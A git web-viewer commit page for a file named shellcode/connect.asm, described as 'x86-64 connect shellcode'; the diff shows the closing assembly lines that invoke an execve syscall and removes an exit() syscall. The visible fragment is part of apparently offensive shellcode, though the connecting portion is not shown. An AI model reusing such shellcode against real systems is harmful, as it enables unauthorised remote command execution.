aboutsummaryrefslogtreecommitdiff
path: root/shellcode/connect.asm
diff options
context:
space:
mode:
authortoni <toni@devlap.local>2015-04-13 17:33:25 +0200
committertoni <matzeton@googlemail.com>2015-04-14 07:50:43 +0200
commit31bc5fef31186f02b98b07c529fd389ac4d1b9b4 (patch)
treec4f0a0d9f0b08184482d951beb38aa2ffb5c4e8c /shellcode/connect.asm
parentde17c3e7e1f412dc39b1e9b08ab735dc14a9faaa (diff)
x86-64 connect shellcode
Diffstat (limited to 'shellcode/connect.asm')
-rw-r--r--shellcode/connect.asm6
1 files changed, 0 insertions, 6 deletions
diff --git a/shellcode/connect.asm b/shellcode/connect.asm
index 3464a3e..fe5002a 100644
--- a/shellcode/connect.asm
+++ b/shellcode/connect.asm
@@ -58,9 +58,3 @@ mov ebx,esp ; arg
mov byte [esp + 8], al ; null-terminate the string
mov al,0xb ; execve syscall
int 0x80
-
-; exit()
-mov al,0x1 ; exit syscall
-xor ebx,ebx
-mov bl,0x42 ; return code
-int 0x80 ; kernel mode